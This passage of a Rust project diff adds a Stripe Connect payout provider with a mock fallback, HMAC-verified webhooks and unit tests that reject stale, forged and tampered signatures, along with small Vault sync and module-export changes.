+            "1.0.0",
+            MarketplaceAssetUploadRequest {
+                filename: "bundle.tgz".to_string(),
+                sha256: "abc12345".to_string(),
+                size: 1024,
+                content_type: Some("application/gzip".to_string()),
+                mount_path: None,
+                fetch_target: Some("/bootstrap/bundle.tgz".to_string()),
+                decompress: false,
+                executable: false,
+                immutable: true,
+            },
+        )
+        .expect("presign should succeed");
+
+        assert_eq!("PUT", response.method);
+        assert_eq!("marketplace-assets-test", response.asset.bucket);
+        assert_eq!(
+            Some(&"AES256".to_string()),
+            response.headers.get("x-amz-server-side-encryption")
+        );
+        assert_eq!(
+            Some(&"abc12345".to_string()),
+            response.headers.get("x-amz-meta-sha256")
+        );
+        assert!(
+            response.url.contains("X-Amz-Signature="),
+            "presigned url should contain a SigV4 signature"
+        );
+        assert!(response
+            .asset
+            .key
+            .contains("/versions/1.0.0/assets/abc12345/bundle.tgz"));
+    }
+}
diff --git a/src/services/mod.rs b/src/services/mod.rs
index 995d13f5..e505e57d 100644
--- a/src/services/mod.rs
+++ b/src/services/mod.rs
@@ -1,17 +1,73 @@
 pub mod agent_dispatcher;
 pub mod config_renderer;
+pub mod dag_executor;
+pub mod deploy_plan;
+pub mod deployment_events;
 pub mod deployment_identifier;
+pub mod deployment_state;
+pub mod env_contract;
+pub mod env_model;
+pub mod explain;
+pub mod grpc_pipe;
+pub mod handoff;
+pub mod install_authorization_sweeper;
 pub mod log_cache;
+pub mod marketplace_access;
+pub mod marketplace_assets;
+pub mod payout_provider;
 pub mod project;
 pub mod project_app_service;
 mod rating;
+pub mod resilience_engine;
+pub mod step_executor;
+pub mod typed_error;
 pub mod vault_service;
+pub mod ws_pipe;
 
 pub use config_renderer::{AppRenderContext, ConfigBundle, ConfigRenderer, SyncResult};
+pub use deploy_plan::{
+    build_deploy_plan, build_rollback_plan, resolve_rollback_plan_context, DeployPlan,
+    DeployPlanAction, DeployPlanActionKind, DeployPlanOperation, DeployPlanRollback,
+    DeployPlanScope, RollbackPlanContext, DEPLOY_PLAN_SCHEMA_VERSION,
+};
+pub use deployment_events::{
+    DeploymentEvent, DeploymentEventClassification, DeploymentEventFeed, DeploymentEventKind,
+    DEPLOYMENT_EVENTS_SCHEMA_VERSION,
+};
 pub use deployment_identifier::{
     DeploymentIdentifier, DeploymentIdentifierArgs, DeploymentResolveError, DeploymentResolver,
     StackerDeploymentResolver,
 };
+pub use deployment_state::{
+    DeploymentAgentFeatures, DeploymentAgentState, DeploymentAppState, DeploymentDriftState,
+    DeploymentLastCommandState, DeploymentProjectState, DeploymentRuntimeState, DeploymentState,
+    DeploymentStateDeployment, DEPLOYMENT_STATE_SCHEMA_VERSION,
+};
+pub use env_contract::{
+    runtime_env_contract_response, runtime_env_layer_names, RuntimeEnvContractResponse,
+    RuntimeEnvLayerContract, RUNTIME_ENV_CONTRACT_VERSION, RUNTIME_ENV_LAYER_BASE,
+    RUNTIME_ENV_LAYER_COMPOSE, RUNTIME_ENV_LAYER_CONTRACTS, RUNTIME_ENV_LAYER_SERVER,
+    RUNTIME_ENV_LAYER_SERVICE, RUNTIME_ENV_PRECEDENCE_ORDER,
+};
+pub use explain::{
+    build_explain_env, build_explain_topology, ExplainDestination, ExplainEnv, ExplainEnvLayer,
+    ExplainRenderedEnv, ExplainTopology, ExplainTopologyService, EXPLAIN_SCHEMA_VERSION,
+};
+pub use handoff::InMemoryHandoffStore;
 pub use log_cache::LogCacheService;
+pub use marketplace_access::{validate_marketplace_template_access, MarketplaceAccessError};
+pub use marketplace_assets::{
+    build_asset_key, presign_asset_download, presign_asset_upload, MarketplaceAssetStorageError,
+    MarketplaceAssetUploadRequest, PresignedMarketplaceAssetResponse,
+    MARKETPLACE_ASSET_STORAGE_PROVIDER,
+};
+pub use payout_provider::{
+    init_payout_provider, MockPayoutProvider, PayoutOnboardingCompletion, PayoutOnboardingLink,
+    PayoutProvider, PayoutProviderError, PayoutWebhookUpdate, StripeConnectPayoutProvider,
+};
 pub use project_app_service::{ProjectAppError, ProjectAppService, SyncSummary};
+pub use typed_error::{
+    ApiTypedError, TypedErrorCode, TypedErrorEnvelope, TypedRemediationClass,
+    TYPED_ERROR_SCHEMA_VERSION,
+};
 pub use vault_service::{AppConfig, VaultError, VaultService};
diff --git a/src/services/payout_provider.rs b/src/services/payout_provider.rs
new file mode 100644
index 00000000..6e1f228d
--- /dev/null
+++ b/src/services/payout_provider.rs
@@ -0,0 +1,768 @@
+use crate::configuration::PayoutSettings;
+use crate::models;
+use async_trait::async_trait;
+use hmac::{Hmac, Mac};
+use serde::Deserialize;
+use serde_json::Value;
+use sha2::Sha256;
+use std::time::Duration;
+
+#[derive(Debug, Clone)]
+pub struct PayoutOnboardingLink {
+    pub provider: String,
+    pub account_ref: String,
+    pub onboarding_url: Option<String>,
+    pub expires_at: Option<i64>,
+}
+
+#[derive(Debug, Clone)]
+pub struct PayoutOnboardingCompletion {
+    pub completed: bool,
+    pub payouts_enabled: bool,
+}
+
+#[derive(Debug, Clone)]
+pub struct PayoutWebhookUpdate {
+    pub provider: String,
+    pub account_ref: String,
+    pub onboarding_completed: bool,
+    pub payouts_enabled: bool,
+    pub event_type: String,
+}
+
+/// Phrases (lowercase) in Stripe error messages that mean *TryDirect's*
+/// platform Connect setup is incomplete — the vendor cannot fix these.
+const PLATFORM_SETUP_PHRASES: &[&str] = &[
+    "complete your platform profile",
+    "signed up for connect",
+    "sign up for connect",
+    "review the responsibilities of managing connected accounts",
+    "platform settings",
+    "enable connect",
+];
+
+#[derive(Debug, thiserror::Error)]
+pub enum PayoutProviderError {
+    #[error("Payout provider is not configured: {0}")]
+    NotConfigured(String),
+    #[error("Payout provider request failed: {0}")]
+    Request(String),
+    #[error("Payout provider response was invalid: {0}")]
+    InvalidResponse(String),
+}
+
+impl PayoutProviderError {
+    /// True when the error is caused by TryDirect's own Connect setup being
+    /// incomplete — the vendor cannot act on it.
+    pub fn is_platform_setup_error(&self) -> bool {
+        let msg = self.to_string().to_lowercase();
+        PLATFORM_SETUP_PHRASES
+            .iter()
+            .any(|phrase| msg.contains(phrase))
+    }
+
+    /// User-friendly message safe to show to a creator.
+    pub fn user_message(&self) -> String {
+        if self.is_platform_setup_error() {
+            "Creator payouts are being set up by the TryDirect team. \
+             We'll email you the moment it's ready — no action needed on your side."
+                .to_string()
+        } else {
+            match self {
+                PayoutProviderError::NotConfigured(_) => {
+                    "Payout provider is not configured.".to_string()
+                }
+                PayoutProviderError::Request(msg) => msg.clone(),
+                PayoutProviderError::InvalidResponse(_) => {
+                    "Received an unexpected response from the payout provider.".to_string()
+                }
+            }
+        }
+    }
+}
+
+#[async_trait]
+pub trait PayoutProvider: Send + Sync {
+    fn provider_code(&self) -> &'static str;
+
+    async fn create_onboarding_link(
+        &self,
+        user: &models::User,
+        existing_account_ref: Option<&str>,
+    ) -> Result<PayoutOnboardingLink, PayoutProviderError>;
+
+    async fn complete_onboarding(
+        &self,
+        account_ref: &str,
+    ) -> Result<PayoutOnboardingCompletion, PayoutProviderError>;
+
+    async fn parse_webhook_update(
+        &self,
+        payload: &[u8],
+        signature: Option<&str>,
+    ) -> Result<Option<PayoutWebhookUpdate>, PayoutProviderError>;
+}
+
+#[derive(Debug, Default)]
+pub struct MockPayoutProvider;
+
+#[async_trait]
+impl PayoutProvider for MockPayoutProvider {
+    fn provider_code(&self) -> &'static str {
+        "mock"
+    }
+
+    async fn create_onboarding_link(
+        &self,
+        _user: &models::User,
+        existing_account_ref: Option<&str>,
+    ) -> Result<PayoutOnboardingLink, PayoutProviderError> {
+        let account_ref = existing_account_ref
+            .map(str::to_string)
+            .unwrap_or_else(|| format!("acct_mock_{}", uuid::Uuid::new_v4().simple()));
+
+        Ok(PayoutOnboardingLink {
+            provider: self.provider_code().to_string(),
+            onboarding_url: Some(format!(
+                "https://mock.payouts.local/onboarding/{account_ref}"
+            )),
+            account_ref,
+            expires_at: None,
+        })
+    }
+
+    async fn complete_onboarding(
+        &self,
+        _account_ref: &str,
+    ) -> Result<PayoutOnboardingCompletion, PayoutProviderError> {
+        Ok(PayoutOnboardingCompletion {
+            completed: true,
+            payouts_enabled: false,
+        })
+    }
+
+    async fn parse_webhook_update(
+        &self,
+        _payload: &[u8],
+        _signature: Option<&str>,
+    ) -> Result<Option<PayoutWebhookUpdate>, PayoutProviderError> {
+        Ok(None)
+    }
+}
+
+#[derive(Clone)]
+pub struct StripeConnectPayoutProvider {
+    http_client: reqwest::Client,
+    secret_key: String,
+    webhook_secret: String,
+    api_base_url: String,
+    return_url: String,
+    refresh_url: String,
+}
+
+impl StripeConnectPayoutProvider {
+    pub fn try_new(settings: &PayoutSettings) -> Result<Self, PayoutProviderError> {
+        let secret_key = settings.stripe_secret_key.trim().to_string();
+        if secret_key.is_empty() {
+            return Err(PayoutProviderError::NotConfigured(
+                "stripe_secret_key is required when payouts.provider=stripe_connect".to_string(),
+            ));
+        }
+        let webhook_secret = settings.stripe_webhook_secret.trim().to_string();
+        if webhook_secret.is_empty() {
+            return Err(PayoutProviderError::NotConfigured(
+                "stripe_webhook_secret is required when payouts.provider=stripe_connect"
+                    .to_string(),
+            ));
+        }
+
+        let http_client = reqwest::Client::builder()
+            .timeout(Duration::from_secs(settings.timeout_secs))
+            .build()
+            .map_err(|err| PayoutProviderError::Request(err.to_string()))?;
+
+        Ok(Self {
+            http_client,
+            secret_key,
+            webhook_secret,
+            api_base_url: settings
+                .stripe_api_base_url
+                .trim_end_matches('/')
+                .to_string(),
+            return_url: settings.onboarding_return_url.clone(),
+            refresh_url: settings.onboarding_refresh_url.clone(),
+        })
+    }
+
+    async fn create_account(&self, user: &models::User) -> Result<String, PayoutProviderError> {
+        #[derive(Deserialize)]
+        struct StripeAccountResponse {
+            id: String,
+        }
+
+        let response = self
+            .http_client
+            .post(format!("{}/v1/accounts", self.api_base_url))
+            .bearer_auth(&self.secret_key)
+            .form(&[
+                ("type", "express"),
+                ("email", user.email.as_str()),
+                ("metadata[stacker_user_id]", user.id.as_str()),
+            ])
+            .send()
+            .await
+            .map_err(|err| PayoutProviderError::Request(err.to_string()))?;
+
+        let status = response.status();
+        if !status.is_success() {
+            let body = response.text().await.unwrap_or_default();
+            return Err(PayoutProviderError::Request(format!(
+                "Stripe account create failed with status {status}: {body}"
+            )));
+        }
+
+        response
+            .json::<StripeAccountResponse>()
+            .await
+            .map(|account| account.id)
+            .map_err(|err| PayoutProviderError::InvalidResponse(err.to_string()))
+    }
+}
+
+#[async_trait]
+impl PayoutProvider for StripeConnectPayoutProvider {
+    fn provider_code(&self) -> &'static str {
+        "stripe_connect"
+    }
+
+    async fn create_onboarding_link(
+        &self,
+        user: &models::User,
+        existing_account_ref: Option<&str>,
+    ) -> Result<PayoutOnboardingLink, PayoutProviderError> {
+        #[derive(Deserialize)]
+        struct StripeAccountLinkResponse {
+            url: String,
+            expires_at: i64,
+        }
+
+        let account_ref = match existing_account_ref {
+            Some(account_ref) if !account_ref.trim().is_empty() => account_ref.to_string(),
+            _ => self.create_account(user).await?,
+        };
+
+        let response = self
+            .http_client
+            .post(format!("{}/v1/account_links", self.api_base_url))
+            .bearer_auth(&self.secret_key)
+            .form(&[
+                ("account", account_ref.as_str()),
+                ("refresh_url", self.refresh_url.as_str()),
+                ("return_url", self.return_url.as_str()),
+                ("type", "account_onboarding"),
+            ])
+            .send()
+            .await
+            .map_err(|err| PayoutProviderError::Request(err.to_string()))?;
+
+        let status = response.status();
+        if !status.is_success() {
+            let body = response.text().await.unwrap_or_default();
+            return Err(PayoutProviderError::Request(format!(
+                "Stripe account link create failed with status {status}: {body}"
+            )));
+        }
+
+        let link = response
+            .json::<StripeAccountLinkResponse>()
+            .await
+            .map_err(|err| PayoutProviderError::InvalidResponse(err.to_string()))?;
+
+        Ok(PayoutOnboardingLink {
+            provider: self.provider_code().to_string(),
+            account_ref,
+            onboarding_url: Some(link.url),
+            expires_at: Some(link.expires_at),
+        })
+    }
+
+    async fn complete_onboarding(
+        &self,
+        account_ref: &str,
+    ) -> Result<PayoutOnboardingCompletion, PayoutProviderError> {
+        #[derive(Deserialize)]
+        struct StripeAccountStatusResponse {
+            details_submitted: bool,
+            payouts_enabled: bool,
+        }
+
+        let response = self
+            .http_client
+            .get(format!("{}/v1/accounts/{}", self.api_base_url, account_ref))
+            .bearer_auth(&self.secret_key)
+            .send()
+            .await
+            .map_err(|err| PayoutProviderError::Request(err.to_string()))?;
+
+        let status = response.status();
+        if !status.is_success() {
+            let body = response.text().await.unwrap_or_default();
+            return Err(PayoutProviderError::Request(format!(
+                "Stripe account retrieve failed with status {status}: {body}"
+            )));
+        }
+
+        let account = response
+            .json::<StripeAccountStatusResponse>()
+            .await
+            .map_err(|err| PayoutProviderError::InvalidResponse(err.to_string()))?;
+
+        Ok(PayoutOnboardingCompletion {
+            completed: account.details_submitted,
+            payouts_enabled: account.payouts_enabled,
+        })
+    }
+
+    async fn parse_webhook_update(
+        &self,
+        payload: &[u8],
+        signature: Option<&str>,
+    ) -> Result<Option<PayoutWebhookUpdate>, PayoutProviderError> {
+        verify_stripe_signature(payload, signature, &self.webhook_secret)?;
+
+        let event = serde_json::from_slice::<Value>(payload)
+            .map_err(|err| PayoutProviderError::InvalidResponse(err.to_string()))?;
+        let event_type = event
+            .get("type")
+            .and_then(Value::as_str)
+            .unwrap_or_default()
+            .to_string();
+
+        if event_type != "account.updated" {
+            return Ok(None);
+        }
+
+        let account = event
+            .get("data")
+            .and_then(|data| data.get("object"))
+            .ok_or_else(|| {
+                PayoutProviderError::InvalidResponse(
+                    "Stripe account.updated event missing data.object".to_string(),
+                )
+            })?;
+        let account_ref = account
+            .get("id")
+            .and_then(Value::as_str)
+            .ok_or_else(|| {
+                PayoutProviderError::InvalidResponse(
+                    "Stripe account.updated event missing account id".to_string(),
+                )
+            })?
+            .to_string();
+        let onboarding_completed = account
+            .get("details_submitted")
+            .and_then(Value::as_bool)
+            .unwrap_or(false);
+        let payouts_enabled = account
+            .get("payouts_enabled")
+            .and_then(Value::as_bool)
+            .unwrap_or(false);
+
+        Ok(Some(PayoutWebhookUpdate {
+            provider: self.provider_code().to_string(),
+            account_ref,
+            onboarding_completed,
+            payouts_enabled,
+            event_type,
+        }))
+    }
+}
+
+fn verify_stripe_signature(
+    payload: &[u8],
+    signature_header: Option<&str>,
+    webhook_secret: &str,
+) -> Result<(), PayoutProviderError> {
+    let signature_header = signature_header.ok_or_else(|| {
+        PayoutProviderError::Request("Missing Stripe-Signature header".to_string())
+    })?;
+    let timestamp = stripe_signature_part(signature_header, "t").ok_or_else(|| {
+        PayoutProviderError::Request("Stripe-Signature header missing timestamp".to_string())
+    })?;
+    let timestamp_i64 = timestamp.parse::<i64>().map_err(|_| {
+        PayoutProviderError::Request("Stripe-Signature timestamp is invalid".to_string())
+    })?;
+    let now = chrono::Utc::now().timestamp();
+    if (now - timestamp_i64).abs() > 300 {
+        return Err(PayoutProviderError::Request(
+            "Stripe webhook signature timestamp is outside tolerance".to_string(),
+        ));
+    }
+
+    let expected_signature = stripe_signature_part(signature_header, "v1").ok_or_else(|| {
+        PayoutProviderError::Request("Stripe-Signature header missing v1 signature".to_string())
+    })?;
+    let expected_signature = hex_decode(expected_signature)?;
+
+    let mut mac = Hmac::<Sha256>::new_from_slice(webhook_secret.as_bytes())
+        .map_err(|err| PayoutProviderError::Request(err.to_string()))?;
+    mac.update(timestamp.as_bytes());
+    mac.update(b".");
+    mac.update(payload);
+    mac.verify_slice(&expected_signature)
+        .map_err(|_| PayoutProviderError::Request("Invalid Stripe webhook signature".to_string()))
+}
+
+fn stripe_signature_part<'a>(header: &'a str, key: &str) -> Option<&'a str> {
+    header.split(',').find_map(|part| {
+        let (part_key, part_value) = part.split_once('=')?;
+        (part_key == key).then_some(part_value)
+    })
+}
+
+fn hex_decode(value: &str) -> Result<Vec<u8>, PayoutProviderError> {
+    if value.len() % 2 != 0 {
+        return Err(PayoutProviderError::Request(
+            "Stripe webhook signature hex is invalid".to_string(),
+        ));
+    }
+
+    let mut bytes = Vec::with_capacity(value.len() / 2);
+    for chunk in value.as_bytes().chunks_exact(2) {
+        let high = hex_value(chunk[0])?;
+        let low = hex_value(chunk[1])?;
+        bytes.push((high << 4) | low);
+    }
+    Ok(bytes)
+}
+
+fn hex_value(byte: u8) -> Result<u8, PayoutProviderError> {
+    match byte {
+        b'0'..=b'9' => Ok(byte - b'0'),
+        b'a'..=b'f' => Ok(byte - b'a' + 10),
+        b'A'..=b'F' => Ok(byte - b'A' + 10),
+        _ => Err(PayoutProviderError::Request(
+            "Stripe webhook signature hex is invalid".to_string(),
+        )),
+    }
+}
+
+/// Returns true when the runtime environment is production, based on the same
+/// env vars MarketplaceAssetSettings already honours (STACKER_ENV / APP_ENV / NODE_ENV).
+fn is_production_env() -> bool {
+    let current = std::env::var("STACKER_ENV")
+        .or_else(|_| std::env::var("APP_ENV"))
+        .or_else(|_| std::env::var("NODE_ENV"))
+        .unwrap_or_default();
+    matches!(current.as_str(), "production" | "prod")
+}
+
+pub fn init_payout_provider(
+    settings: &PayoutSettings,
+) -> Result<std::sync::Arc<dyn PayoutProvider>, PayoutProviderError> {
+    init_payout_provider_inner(settings, is_production_env())
+}
+
+fn init_payout_provider_inner(
+    settings: &PayoutSettings,
+    is_production: bool,
+) -> Result<std::sync::Arc<dyn PayoutProvider>, PayoutProviderError> {
+    match settings.provider.as_str() {
+        "stripe_connect" | "stripe" => {
+            tracing::info!("Payout provider initialised: stripe_connect");
+            Ok(std::sync::Arc::new(StripeConnectPayoutProvider::try_new(
+                settings,
+            )?))
+        }
+        "mock" | "" => {
+            if is_production {
+                return Err(PayoutProviderError::NotConfigured(
+                    "Refusing to start with the 'mock' payout provider in a production \
+                     environment. Set STACKER_PAYOUT_PROVIDER=stripe_connect and provide \
+                     STRIPE_SECRET_KEY, STRIPE_WEBHOOK_SECRET, PAYOUT_ONBOARDING_RETURN_URL, \
+                     and PAYOUT_ONBOARDING_REFRESH_URL to enable real creator payouts."
+                        .to_string(),
+                ));
+            }
+            tracing::warn!(
+                "Payout provider is MOCK — onboarding links resolve to https://mock.payouts.local/* \
+                 and no real money moves. Set STACKER_PAYOUT_PROVIDER=stripe_connect to enable Stripe."
+            );
+            Ok(std::sync::Arc::new(MockPayoutProvider))
+        }
+        other => Err(PayoutProviderError::NotConfigured(format!(
+            "Unknown payout provider '{other}'. Expected 'mock' or 'stripe_connect'"
+        ))),
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::configuration::PayoutSettings;
+
+    fn stripe_settings() -> PayoutSettings {
+        PayoutSettings {
+            provider: "stripe_connect".to_string(),
+            stripe_secret_key: "sk_test_123".to_string(),
+            stripe_webhook_secret: "whsec_test".to_string(),
+            stripe_api_base_url: "https://api.stripe.com".to_string(),
+            onboarding_return_url: "https://example.com/return".to_string(),
+            onboarding_refresh_url: "https://example.com/refresh".to_string(),
+            timeout_secs: 5,
+        }
+    }
+
+    fn test_hex_encode(bytes: &[u8]) -> String {
+        const HEX: &[u8; 16] = b"0123456789abcdef";
+        let mut out = String::with_capacity(bytes.len() * 2);
+        for byte in bytes {
+            out.push(HEX[(byte >> 4) as usize] as char);
+            out.push(HEX[(byte & 0x0f) as usize] as char);
+        }
+        out
+    }
+
+    fn sign_payload(payload: &[u8], timestamp: i64, secret: &str) -> String {
+        let mut mac = Hmac::<Sha256>::new_from_slice(secret.as_bytes()).unwrap();
+        mac.update(timestamp.to_string().as_bytes());
+        mac.update(b".");
+        mac.update(payload);
+        format!(
+            "t={},v1={}",
+            timestamp,
+            test_hex_encode(&mac.finalize().into_bytes())
+        )
+    }
+
+    #[test]
+    fn stripe_provider_requires_webhook_secret() {
+        let mut settings = stripe_settings();
+        settings.stripe_webhook_secret.clear();
+
+        let err = match StripeConnectPayoutProvider::try_new(&settings) {
+            Ok(_) => panic!("stripe provider should require webhook secret"),
+            Err(err) => err,
+        };
+        assert!(err
+            .to_string()
+            .contains("stripe_webhook_secret is required"));
+    }
+
+    #[tokio::test]
+    async fn stripe_webhook_rejects_stale_signature() {
+        let provider = StripeConnectPayoutProvider::try_new(&stripe_settings()).unwrap();
+        let payload = br#"{"type":"account.updated","data":{"object":{"id":"acct_1","details_submitted":true,"payouts_enabled":true}}}"#;
+        let stale_timestamp = chrono::Utc::now().timestamp() - 1_000;
+        let signature = sign_payload(payload, stale_timestamp, "whsec_test");
+
+        let err = provider
+            .parse_webhook_update(payload, Some(&signature))
+            .await
+            .unwrap_err();
+        assert!(err.to_string().contains("outside tolerance"));
+    }
+
+    fn mock_settings() -> PayoutSettings {
+        PayoutSettings {
+            provider: "mock".to_string(),
+            stripe_secret_key: String::new(),
+            stripe_webhook_secret: String::new(),
+            stripe_api_base_url: "https://api.stripe.com".to_string(),
+            onboarding_return_url: "https://example.com/return".to_string(),
+            onboarding_refresh_url: "https://example.com/refresh".to_string(),
+            timeout_secs: 5,
+        }
+    }
+
+    #[test]
+    fn mock_provider_rejected_in_production() {
+        let err = init_payout_provider_inner(&mock_settings(), true)
+            .err()
+            .expect("mock must be refused in production");
+        let message = err.to_string();
+        assert!(
+            message.contains("mock"),
+            "error should mention mock provider: {message}"
+        );
+        assert!(
+            message.contains("STACKER_PAYOUT_PROVIDER"),
+            "error should point at the env var to set: {message}"
+        );
+    }
+
+    #[test]
+    fn mock_provider_allowed_outside_production() {
+        init_payout_provider_inner(&mock_settings(), false)
+            .expect("mock should be allowed when not production");
+    }
+
+    #[test]
+    fn empty_provider_treated_as_mock_and_rejected_in_production() {
+        let mut settings = mock_settings();
+        settings.provider.clear();
+        let err = init_payout_provider_inner(&settings, true)
+            .err()
+            .expect("empty provider in production must be refused");
+        assert!(err.to_string().contains("mock"));
+    }
+
+    #[test]
+    fn stripe_provider_initialises_in_production() {
+        init_payout_provider_inner(&stripe_settings(), true)
+            .expect("stripe_connect should initialise in production");
+    }
+
+    #[tokio::test]
+    async fn stripe_webhook_parses_valid_account_update() {
+        let provider = StripeConnectPayoutProvider::try_new(&stripe_settings()).unwrap();
+        let payload = br#"{"type":"account.updated","data":{"object":{"id":"acct_1","details_submitted":true,"payouts_enabled":true}}}"#;
+        let signature = sign_payload(payload, chrono::Utc::now().timestamp(), "whsec_test");
+
+        let update = provider
+            .parse_webhook_update(payload, Some(&signature))
+            .await
+            .unwrap()
+            .expect("account.updated should produce update");
+
+        assert_eq!("stripe_connect", update.provider);
+        assert_eq!("acct_1", update.account_ref);
+        assert!(update.onboarding_completed);
+        assert!(update.payouts_enabled);
+    }
+
+    #[tokio::test]
+    async fn stripe_webhook_rejects_missing_signature_header() {
+        let provider = StripeConnectPayoutProvider::try_new(&stripe_settings()).unwrap();
+        let payload = br#"{"type":"account.updated","data":{"object":{"id":"acct_1"}}}"#;
+
+        let err = provider
+            .parse_webhook_update(payload, None)
+            .await
+            .unwrap_err();
+        assert!(
+            err.to_string().contains("Missing Stripe-Signature header"),
+            "unsigned webhook must be rejected: {err}"
+        );
+    }
+
+    #[tokio::test]
+    async fn stripe_webhook_rejects_forged_signature() {
+        // Attacker knows the header format and current timestamp but NOT the
+        // webhook secret — they sign with a different secret.
+        let provider = StripeConnectPayoutProvider::try_new(&stripe_settings()).unwrap();
+        let payload = br#"{"type":"account.updated","data":{"object":{"id":"acct_evil","details_submitted":true,"payouts_enabled":true}}}"#;
+        let forged = sign_payload(payload, chrono::Utc::now().timestamp(), "attacker_secret");
+
+        let err = provider
+            .parse_webhook_update(payload, Some(&forged))
+            .await
+            .unwrap_err();
+        assert!(
+            err.to_string().contains("Invalid Stripe webhook signature"),
+            "signature signed with the wrong secret must be rejected: {err}"
+        );
+    }
+
+    #[tokio::test]
+    async fn stripe_webhook_rejects_tampered_payload() {
+        // Signature is valid for the original body, but the body is modified in
+        // flight — HMAC over the tampered payload must not match.
+        let provider = StripeConnectPayoutProvider::try_new(&stripe_settings()).unwrap();
+        let original = br#"{"type":"account.updated","data":{"object":{"id":"acct_1","payouts_enabled":false}}}"#;
+        let signature = sign_payload(original, chrono::Utc::now().timestamp(), "whsec_test");
+        let tampered = br#"{"type":"account.updated","data":{"object":{"id":"acct_1","payouts_enabled":true}}}"#;
+
+        let err = provider
+            .parse_webhook_update(tampered, Some(&signature))
+            .await
+            .unwrap_err();
+        assert!(
+            err.to_string().contains("Invalid Stripe webhook signature"),
+            "a signature valid for a different body must be rejected: {err}"
+        );
+    }
+
+    #[tokio::test]
+    async fn stripe_webhook_rejects_missing_timestamp_part() {
+        let provider = StripeConnectPayoutProvider::try_new(&stripe_settings()).unwrap();
+        let payload = br#"{"type":"account.updated","data":{"object":{"id":"acct_1"}}}"#;
+
+        let err = provider
+            .parse_webhook_update(payload, Some("v1=deadbeef"))
+            .await
+            .unwrap_err();
+        assert!(
+            err.to_string().contains("missing timestamp"),
+            "header without t= must be rejected: {err}"
+        );
+    }
+
+    #[tokio::test]
+    async fn stripe_webhook_rejects_missing_v1_part() {
+        let provider = StripeConnectPayoutProvider::try_new(&stripe_settings()).unwrap();
+        let payload = br#"{"type":"account.updated","data":{"object":{"id":"acct_1"}}}"#;
+        // Valid, in-tolerance timestamp but no v1 signature component.
+        let header = format!("t={}", chrono::Utc::now().timestamp());
+
+        let err = provider
+            .parse_webhook_update(payload, Some(&header))
+            .await
+            .unwrap_err();
+        assert!(
+            err.to_string().contains("missing v1 signature"),
+            "header without v1= must be rejected: {err}"
+        );
+    }
+
+    #[tokio::test]
+    async fn stripe_webhook_rejects_invalid_hex_signature() {
+        let provider = StripeConnectPayoutProvider::try_new(&stripe_settings()).unwrap();
+        let payload = br#"{"type":"account.updated","data":{"object":{"id":"acct_1"}}}"#;
+        // In-tolerance timestamp, but v1 is not valid hex.
+        let header = format!("t={},v1=zzzz", chrono::Utc::now().timestamp());
+
+        let err = provider
+            .parse_webhook_update(payload, Some(&header))
+            .await
+            .unwrap_err();
+        assert!(
+            err.to_string().contains("hex is invalid"),
+            "non-hex signature must be rejected: {err}"
+        );
+    }
+
+    #[tokio::test]
+    async fn stripe_webhook_ignores_non_account_updated_event() {
+        // A correctly-signed event of an unrelated type is accepted but produces
+        // no update (Ok(None)) — the handler returns "Webhook ignored".
+        let provider = StripeConnectPayoutProvider::try_new(&stripe_settings()).unwrap();
+        let payload = br#"{"type":"payout.paid","data":{"object":{"id":"po_1"}}}"#;
+        let signature = sign_payload(payload, chrono::Utc::now().timestamp(), "whsec_test");
+
+        let update = provider
+            .parse_webhook_update(payload, Some(&signature))
+            .await
+            .expect("valid signature should verify");
+        assert!(
+            update.is_none(),
+            "non-account.updated event should yield no update"
+        );
+    }
+
+    #[tokio::test]
+    async fn stripe_webhook_account_updated_missing_object_is_invalid() {
+        let provider = StripeConnectPayoutProvider::try_new(&stripe_settings()).unwrap();
+        let payload = br#"{"type":"account.updated","data":{}}"#;
+        let signature = sign_payload(payload, chrono::Utc::now().timestamp(), "whsec_test");
+
+        let err = provider
+            .parse_webhook_update(payload, Some(&signature))
+            .await
+            .unwrap_err();
+        assert!(
+            matches!(err, PayoutProviderError::InvalidResponse(_)),
+            "account.updated without data.object must be an invalid-response error: {err}"
+        );
+    }
+}
diff --git a/src/services/project_app_service.rs b/src/services/project_app_service.rs
index b2ca341c..e20db388 100644
--- a/src/services/project_app_service.rs
+++ b/src/services/project_app_service.rs
@@ -6,7 +6,7 @@
 use crate::db;
 use crate::forms::project::Payload;
 use crate::models::{Project, ProjectApp};
-use crate::services::config_renderer::ConfigRenderer;
+use crate::services::config_renderer::{env_body_hash, ConfigRenderer};
 use crate::services::vault_service::{VaultError, VaultService};
 use sqlx::PgPool;
 use std::sync::Arc;
@@ -245,11 +245,24 @@ impl ProjectAppService {
 
         // Render the full bundle
         let bundle = renderer
-            .render_bundle(project, &apps, deployment_hash)
+            .render_bundle(&self.pool, project, &apps, deployment_hash)
+            .await
             .map_err(|e| ProjectAppError::ConfigRender(e.to_string()))?;
 
         // Sync to Vault
         let sync_result = renderer.sync_to_vault(&bundle).await?;
+        for app in &apps {
+            let env_key = format!("{}_env", app.code);
+            if !sync_result.synced.iter().any(|key| key == &env_key) {
+                continue;
+            }
+            if let Some(config) = bundle.app_configs.get(&app.code) {
+                let config_hash = env_body_hash(&config.content);
+                db::project_app::update_sync_metadata(&self.pool, app.id, &config_hash)
+                    .await
+                    .map_err(ProjectAppError::Database)?;
+            }
+        }
 
         Ok(SyncSummary {
             total_apps: apps.len(),
@@ -261,17 +274,22 @@ impl ProjectAppService {
     }
 
     /// Sync a single app to Vault
-    async fn sync_app_to_vault(
+    pub async fn sync_app_to_vault(
         &self,
         app: &ProjectApp,
         project: &Project,
         deployment_hash: &str,
     ) -> Result<()> {
         let renderer = self.config_renderer.read().await;
-        renderer
-            .sync_app_to_vault(app, project, deployment_hash)
+        let config_hash = renderer
+            .sync_app_to_vault(&self.pool, app, project, deployment_hash)
             .await
-            .map_err(ProjectAppError::VaultSync)
+            .map_err(ProjectAppError::VaultSync)?;
+        crate::db::project_app::update_sync_metadata(&self.pool, app.id, &config_hash)
+            .await
+            .map_err(ProjectAppError::Database)?;
+
+        Ok(())
     }
 
     /// Delete an app config from Vault
@@ -332,7 +350,8 @@ impl ProjectAppService {
     ) -> Result<crate::services::config_renderer::ConfigBundle> {
         let renderer = self.config_renderer.read().await;
         renderer
-            .render_bundle(project, apps, deployment_hash)
+            .render_bundle(&self.pool, project, apps, deployment_hash)
+            .await
             .map_err(|e| ProjectAppError::ConfigRender(e.to_string()))
     }
 }
diff --git a/src/services/resilience_engine.rs b/src/services/resilience_engine.rs
new file mode 100644
index 00000000..34b7964a
--- /dev/null
+++ b/src/services/resilience_engine.rs
@@ -0,0 +1,440 @@
+use crate::models::agent_protocol::RetryPolicy;
